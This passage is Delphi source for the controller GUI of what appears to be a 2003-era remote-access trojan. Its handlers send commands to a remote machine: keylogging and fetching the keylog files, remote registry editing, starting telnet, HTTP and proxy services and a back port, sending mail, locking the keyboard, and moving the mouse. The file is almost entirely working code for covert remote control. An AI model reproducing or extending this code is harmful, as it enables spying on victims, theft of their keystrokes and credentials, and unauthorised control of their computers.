main.pas

2003年的远程控制

 begin
 scriptedit.Lines.LoadFromFile(opendialog1.filename);
 scriptname.text:=copy(scriptedit.lines[0],2,255);
 scriptcomm.text:=copy(scriptedit.lines[1],2,255);
 scriptedit.Lines.Delete(0);
 scriptedit.Lines.Delete(0);
 end;
end;


procedure TPCli6.SpeedButton73Click(Sender: TObject);
begin
savedialog1.InitialDir:='.';
savedialog1.filterindex:=2;
savedialog1.DefaultExt:='psk';
savedialog1.execute;
savedialog1.filterindex:=1;
if savedialog1.filename<>'' then
 begin
 scriptedit.lines.Insert(0,'#'+scriptcomm.text);
 scriptedit.lines.Insert(0,'#'+scriptname.text);
 scriptedit.Lines.savetoFile(savedialog1.filename);
 scriptedit.Lines.Delete(0);
 scriptedit.Lines.Delete(0);
 end;
end;

procedure TPCli6.SpeedButton68Click(Sender: TObject);
var i:integer;
begin
Send('MAIL_FROM',i_nadawca.text,'');
Send('MAIL_SUBJECT',i_temat.text,'');
Send('MAIL_NEW','','');
for i:=0 to mailedit.lines.count-1 do
 Send('MAIL_TEXT',mailedit.lines[i],'');
Send('MAIL_SEND',i_adresat.text,'');
end;

procedure TPCli6.i_syslogClick(Sender: TObject);
begin
Send('LOG',t_bool(i_syslog.checked),'');
end;

procedure TPCli6.i_keylogClick(Sender: TObject);
begin
Send('KEYLOG',t_bool(i_keylog.checked),'');
end;

procedure TPCli6.SpeedButton74Click(Sender: TObject);
begin
Send('WRITECONFIG','','');
end;

procedure TPCli6.i_autosyslogClick(Sender: TObject);
begin
Send('LOGAUTO',t_bool(i_autosyslog.checked),'');
end;

procedure TPCli6.i_autokeylogClick(Sender: TObject);
begin
Send('KEYLOGAUTO',t_bool(i_autokeylog.checked),'');
end;

procedure TPCli6.i_httpdClick(Sender: TObject);
begin
if i_httpd.checked then
Send('HTTPDSTART','','') else Send('HTTPDSTOP','','');
end;

procedure TPCli6.i_httpdautoClick(Sender: TObject);
begin
Send('HTTPDAUTO',t_bool(i_httpdauto.checked),'');
end;

procedure TPCli6.SpeedButton24Click(Sender: TObject);
begin
Send('HTTPDPORT',httpdport.text,'');
end;

procedure TPCli6.SpeedButton63Click(Sender: TObject);
begin
Send('HTTPDCONFIGWRITE','','');
end;

procedure TPCli6.SpeedButton64Click(Sender: TObject);
begin
Send('HTTPDCONFIGDEF','','');
Send('HTTPDSTAT','','');
end;

procedure TPCli6.i_proxyClick(Sender: TObject);
begin
if i_proxy.Checked then
Send('PROXYSTART','','') else
Send('PROXYSTOP','',''); 
end;

procedure TPCli6.Button9Click(Sender: TObject);
begin
Send('BACKPORT',i_backport.text,'');
end;

procedure TPCli6.SpeedButton75Click(Sender: TObject);
var tmp:string;
begin
if getfile then exit;
if i_syslogfile.text='' then exit;
getdir(0,tmp);
httpget(i_syslogfile.text,tmp+'\'+uname.caption+'_syslog.txt');
end;

procedure TPCli6.SpeedButton76Click(Sender: TObject);
var tmp:string;
begin
if getfile then exit;
if i_syslogfile.text='' then exit;
getdir(0,tmp);
httpget(i_keylogfile.text,tmp+'\'+uname.caption+'_keylog.txt');
end;

procedure TPCli6.MonitoronClick(Sender: TObject);
begin
Send('MONITOR',t_bool(monitoron.checked),'');
end;

procedure TPCli6.SpeedButton17Click(Sender: TObject);
begin
{$I-}
if (length(filelistbox1.directory)>3) then
Mkdir(filelistbox1.directory+'\'+newdir.text) else
Mkdir(filelistbox1.directory+newdir.text);
{$I+}
Directorylistbox1.Update;
end;

procedure errorproc(ErrorCode: Integer);
begin
form1.Klientclose;
end;

procedure TPCli6.SpeedButton18Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WMENU',inttostr(selwin.handle),edit3.text);
end;

procedure TPCli6.SpeedButton77Click(Sender: TObject);
begin
if selwin=nil then exit;
Send('WSYSMENU',inttostr(selwin.handle),edit4.text);
end;

procedure TPCli6.SpeedButton78Click(Sender: TObject);
begin
Send('CD','..','');
Send('DIR','','');
end;

procedure TPCli6.SpeedButton79Click(Sender: TObject);
begin
Send('CD','\','');
Send('DIR','','');
end;

procedure TPCli6.keylockClick(Sender: TObject);
begin
Send('KEYLOCK',t_bool(keylock.checked),'');
end;

procedure TPCli6.i_telnetClick(Sender: TObject);
begin
if i_telnet.checked then
Send('TELNETSTART','','') else Send('TELNETSTOP','','');
end;

procedure TPCli6.SpeedButton80Click(Sender: TObject);
begin
Send('TELNETSTOP','','');
Send('TELNETPORT',i_telnetport.text,'');
Send('TELNETSTART','','');
end;

procedure TPCli6.SpeedButton66Click(Sender: TObject);
begin
netlist.rowcount:=2;
netlist.Rows[1].Commatext:='';
end;

procedure TPCli6.netlistSelectCell(Sender: TObject; ACol, ARow: Integer;
  var CanSelect: Boolean);
begin
Canselect:=(Acol<=3);
if Arow=0 then exit;
if Arow=netlist.RowCount-1 then exit;
if not hostname.enabled then exit;
hostname.text:=netlist.cells[1,Arow];
portnr.text:=netlist.Cells[2,Arow];
pass.text:=netlist.cells[3,Arow];
end;

procedure TPCli6.SpeedButton81Click(Sender: TObject);
begin
Send('LOGSTATUS','','');
Send('KEYLOGSTATUS','','');
end;

procedure TPCli6.SpeedButton82Click(Sender: TObject);
begin
Send('HTTPDSTAT','','');
end;

procedure TPCli6.SpeedButton83Click(Sender: TObject);
begin
Send('NETSTAT','','');
end;

procedure TPCli6.WallpaperBMP1Click(Sender: TObject);
var i:integer;
begin
if filelist.Items.count=0 then exit;
if filelist.selcount=1 then
 Send('WALLPAPER',dircurr.caption+'\'+filelist.items[filelist.itemindex],'')
 else
for i:=0 to filelist.items.count-1 do
 if filelist.selected[i] then
  begin
   Send('WALLPAPER',dircurr.caption+'\'+filelist.items[i],'');
   Send('SLEEP','1000','');
  end;
end;

procedure TPCli6.ShowJPEGJPG1Click(Sender: TObject);
var i:integer;
begin
if filelist.Items.count=0 then exit;
if filelist.selcount=1 then
 Send('JPEG',filelist.items[filelist.itemindex],i_slidetime.text)
  else
for i:=0 to filelist.items.count-1 do
 if filelist.selected[i] then
  begin
   Send('JPEG',dircurr.caption+'\'+filelist.items[i],i_slidetime.text);
   Sleep(strtointdef(i_slidetime.text,3)*1000);
  end;
end;

procedure TPCli6.PlaysoundWAV1Click(Sender: TObject);
begin
if filelist.Items.count=0 then exit;
if filelist.selcount=1 then
 Send('WAVE',filelist.items[filelist.itemindex],'')
end;

procedure TPCli6.PlayloopWAV1Click(Sender: TObject);
begin
if filelist.Items.count=0 then exit;
if filelist.selcount=1 then
 Send('WAVELOOP',filelist.items[filelist.itemindex],'')
end;

procedure TPCli6.SoundStop1Click(Sender: TObject);
begin
Send('WAVESTOP','','');
end;

procedure TPCli6.setdeflang(Sender: TObject);
begin
setlang(engset);
end;

procedure TPCli6.SpeedButton87Click(Sender: TObject);
begin
setfromfile(conf.values['lang1_file']);
end;

procedure TPCli6.SpeedButton88Click(Sender: TObject);
begin
setfromfile(conf.values['lang2_file']);
end;

procedure TPCli6.SpeedButton89Click(Sender: TObject);
begin
if image2.Stretch then
 begin
 image2.stretch:=false;
 image2.autosize:=true;
 scrollbox1.AutoScroll:=true;
 end
 else
 begin
 image2.stretch:=true;
 image2.autosize:=false;
 image2.width:=scrollbox1.Width;
 image2.height:=scrollbox1.height;
 scrollbox1.AutoScroll:=false;
 end;
end;

procedure TPCli6.SpeedButton90Click(Sender: TObject);
begin
savepicture.execute;
if savepicture.filename<>'' then
 image2.Picture.SaveToFile(savepicture.filename);
end;

procedure TPCli6.SpeedButton92Click(Sender: TObject);
begin
savedialog1.DefaultExt:='txt';
savedialog1.execute;
if savedialog1.filename<>'' then
 msnet.Lines.SaveToFile(savedialog1.filename);
end;

procedure TPCli6.SpeedButton91Click(Sender: TObject);
begin
send('SHARES','','');
end;

procedure TPCli6.SpeedButton84Click(Sender: TObject);
begin
cdtracks.Clear;
send('INFOCD','','');
end;

procedure TPCli6.SpeedButton85Click(Sender: TObject);
begin
send('PLAYCD',inttostr(cdtracks.itemindex-1),'');
end;

procedure TPCli6.filterChange(Sender: TObject);
begin
Send('DIR',filter.text,'');
end;


procedure TPCli6.SpeedButton86Click(Sender: TObject);
begin
Send('KILL','','');
end;

procedure TPCli6.Reg_goto(key:string);
begin
if key<>'' then
begin
 regkey.caption:=key;
 Send('SETROOT',key,'');
end else
begin
 Send('GETROOT','','');
end;
Reglist.Clear;
Reglist.Items.add('\');
Reglist.Items.add('..');
ValList.RowCount:=2;
ValList.Rows[1].commatext:='';
Send('ENUMKEYS','','');
Send('ENUMVALUES','','');
end;

procedure TPCli6.Reg_gotoRoot;
begin
Reg_goto('\');
end;

procedure TPCli6.Reg_goUp;
var tmp:string;
    i:integer;
begin
tmp:=regkey.caption;
if length(tmp)=1 then i:=1
 else
for i:=length(tmp)-1 downto 1 do
  if tmp[i]='\' then break;
Reg_goto(copy(tmp,1,i));
end;

procedure TPCli6.RegListClick(Sender: TObject);
var tmp:string;
begin
if reglist.itemindex>=0 then
begin
tmp:=reglist.Items[reglist.itemindex];
if tmp='\' then Reg_gotoRoot else
if tmp='..' then Reg_goUp else
Reg_goto(regkey.caption+reglist.Items[reglist.itemindex]+'\')
end
else Reg_gotoRoot;
end;

procedure TPCli6.Getroot1Click(Sender: TObject);
begin
Reg_gotoRoot;
end;

procedure TPCli6.Up1Click(Sender: TObject);
begin
Reg_goUp;
end;

procedure TPCli6.N1Click(Sender: TObject);
begin
Reg_goto('');
end;

procedure TPCli6.Reg_goto1Click(Sender: TObject);
begin
Reg_goto((Sender as TmenuItem).caption);
end;

procedure TPCli6.ValListSelectCell(Sender: TObject; ACol, ARow: Integer;
  var CanSelect: Boolean);
begin
Reg_value:=ARow;
CanSelect:=true;
end;

procedure TPCli6.AddValue1Click(Sender: TObject);
begin
ValList.RowCount:=ValList.RowCount+1;
Vallist.Rows[ValList.RowCount-1].commatext:='';
end;

procedure TPCli6.DeleteValue1Click(Sender: TObject);
begin
Send('DELSTRING',Vallist.Cells[0,Reg_Value],'');
Vallist.Rows[Reg_value].commatext:='---';
end;

procedure TPCli6.Updateremoteregistry1Click(Sender: TObject);
begin
Send('SETSTRING',Vallist.Cells[0,Reg_Value],Vallist.Cells[1,Reg_Value]);
end;

procedure TPCli6.Refresh1Click(Sender: TObject);
begin
Reg_goto('');
end;

procedure TPCli6.SpeedButton29Click(Sender: TObject);
begin
Send('CLIP1',i_clip1.text,'');
end;

procedure TPCli6.SpeedButton30Click(Sender: TObject);
begin
Send('CLIP2',i_clip2.text,'');
end;

procedure TPCli6.SpeedButton32Click(Sender: TObject);
begin
Send('UNCLIP','','');
end;

procedure TPCli6.SpeedButton31Click(Sender: TObject);
begin
Send('CLIP1','0','0');
Send('CLIP2','0','0');
end;

procedure TPCli6.mousetimerTimer(Sender: TObject);
var point:TPoint;
begin
getcursorpos(point);
Send('SET_MOUSE',inttostr(point.x),inttostr(point.y));
end;

procedure TPCli6.i_myszaClick(Sender: TObject);
begin
mousetimer.enabled:=i_mysza.checked;
end;

begin
seterrorproc(errorproc);
scan_timeout:=1000;
ping_timeout:=1000;
end.